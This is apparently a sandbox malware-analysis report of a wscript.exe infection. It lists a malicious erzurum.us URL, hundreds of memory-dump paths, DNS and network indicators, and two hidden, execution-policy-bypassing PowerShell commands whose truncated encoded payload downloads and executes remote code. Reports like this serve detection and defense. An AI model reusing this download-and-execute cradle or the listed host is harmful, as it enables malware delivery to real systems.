Technical Information
- https://erzurum.us/65376345273497600381/tjtyjrjywrdmjoaaenvf/dll/assistant.php
- %TEMP%\content\1392-3168-wscript.exe-19-49-53-038.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-09-304.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-09-235.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-09-207.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-09-168.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-09-145.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-09-125.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-09-094.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-09-075.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-08-653.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-09-062.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-08-976.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-08-963.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-08-945.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-08-919.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-08-900.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-08-869.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-08-845.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-08-742.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-09-000.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-08-696.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-09-325.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-10-297.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-10-673.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-10-599.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-10-572.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-10-541.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-10-519.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-10-462.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-10-404.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-10-355.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-09-866.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-09-831.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-10-286.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-10-187.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-10-121.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-09-984.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-09-939.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-09-908.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-09-900.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-09-887.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-10-332.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-10-809.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-10-764.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-08-493.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-06-205.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-06-538.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-06-501.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-06-467.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-06-449.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-06-412.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-06-382.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-06-276.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-06-773.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-06-793.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-08-586.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-05-889.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-05-843.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-05-730.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-05-618.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-05-122.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-05-027.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-04-967.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-06-110.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-08-626.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-06-841.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-07-779.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-07-800.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-08-371.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-08-332.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-08-304.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-08-181.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-07-891.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-07-876.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-07-836.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-08-443.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-07-128.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-07-523.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-07-720.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-07-709.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-07-687.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-07-654.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-07-632.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-07-598.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-07-567.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-07-748.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-58-697.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-10-842.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-14-329.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-13-721.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-14-310.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-14-295.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-14-271.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-14-197.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-14-025.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-13-906.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-13-852.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-14-484.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-14-455.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-13-269.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-13-578.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-13-473.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-13-454.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-13-393.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-13-328.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-13-299.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-13-291.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-13-589.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-13-665.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-14-688.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-13-214.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-15-669.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-15-642.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-15-347.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-15-310.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-15-158.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-15-061.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-15-035.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-14-570.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-15-719.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-15-030.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-14-978.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-14-960.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-14-941.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-14-920.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-14-761.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-14-736.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-14-699.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-15-012.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-14-991.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-13-129.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-13-098.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-11-596.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-11-559.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-11-508.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-11-484.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-11-446.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-11-431.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-11-410.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-11-629.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-11-333.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-11-201.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-11-135.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-11-074.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-11-041.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-10-995.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-10-961.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-10-926.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-10-915.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-11-232.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-11-660.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-11-677.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-11-574.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-11-697.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-12-924.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-12-205.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-12-882.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-12-853.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-12-807.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-12-727.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-12-646.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-12-423.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-12-314.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-12-230.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-12-115.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-12-963.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-12-072.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-12-017.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-11-866.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-11-847.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-11-797.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-11-775.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-11-711.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-04-956.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-06-129.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-04-912.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-04-569.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-04-531.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-56-622.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-56-942.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-56-926.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-56-874.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-56-806.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-56-784.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-56-722.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-56-695.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-55-749.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-57-040.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-55-940.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-56-361.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-56-329.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-56-236.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-56-194.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-56-167.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-56-080.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-56-033.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-56-534.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-56-565.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-57-054.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-57-574.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-57-596.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-58-101.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-57-770.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-57-735.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-57-715.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-57-672.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-57-644.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-57-613.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-58-223.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-57-097.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-57-137.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-57-486.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-57-344.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-57-247.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-57-210.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-57-187.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-57-159.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-57-155.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-57-513.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-55-784.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-55-670.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-58-282.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-54-630.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-54-578.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-54-564.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-54-545.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-54-447.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-54-393.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-54-253.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-54-741.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-54-201.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-53-816.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-53-607.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-53-381.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-53-329.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-53-201.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-53-156.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-53-142.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-53-112.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-54-035.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-54-763.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-54-654.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-54-811.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-55-629.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-55-428.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-55-623.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-55-604.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-55-590.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-55-569.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-55-548.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-55-507.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-55-491.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-55-470.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-55-319.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-54-848.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-55-191.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-55-152.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-55-113.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-55-091.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-55-066.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-55-041.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-54-988.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-54-967.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-15-745.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-10-863.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-58-356.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-59-307.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-01-636.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-02-325.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-02-300.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-02-268.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-02-256.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-02-206.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-02-174.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-02-152.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-02-350.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-02-064.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-01-985.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-01-975.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-01-931.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-01-841.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-01-806.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-01-793.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-01-769.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-01-717.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-02-013.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-01-695.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-02-396.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-02-443.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-56-978.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-04-239.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-04-087.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-03-743.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-03-497.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-03-194.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-03-127.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-03-109.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-02-921.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-02-987.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-02-970.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-02-910.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-02-873.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-02-810.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-02-770.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-02-613.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-02-569.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-02-561.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-02-368.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-01-655.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-01-548.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-01-425.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-59-570.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-00-050.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-59-998.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-59-948.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-59-877.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-59-866.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-59-843.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-59-746.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-00-135.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-00-339.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-00-483.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-59-202.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-59-170.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-59-104.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-59-013.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-58-995.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-58-952.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-58-747.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-59-268.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-00-546.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-01-273.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-00-593.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-01-318.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-01-003.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-01-247.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-01-210.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-01-192.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-01-151.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-01-110.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-01-092.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-01-064.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-01-041.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-00-984.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-00-562.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-00-914.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-00-854.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-00-823.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-00-786.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-00-729.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-00-718.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-00-671.dump
- %TEMP%\content\1392-3168-wscript.exe-19-49-58-729.dump
- %TEMP%\content\1392-3168-wscript.exe-19-50-15-777.dump
- 'er##rum.us':443
- DNS ASK er##rum.us
- '<SYSTEM32>\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBl...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBl...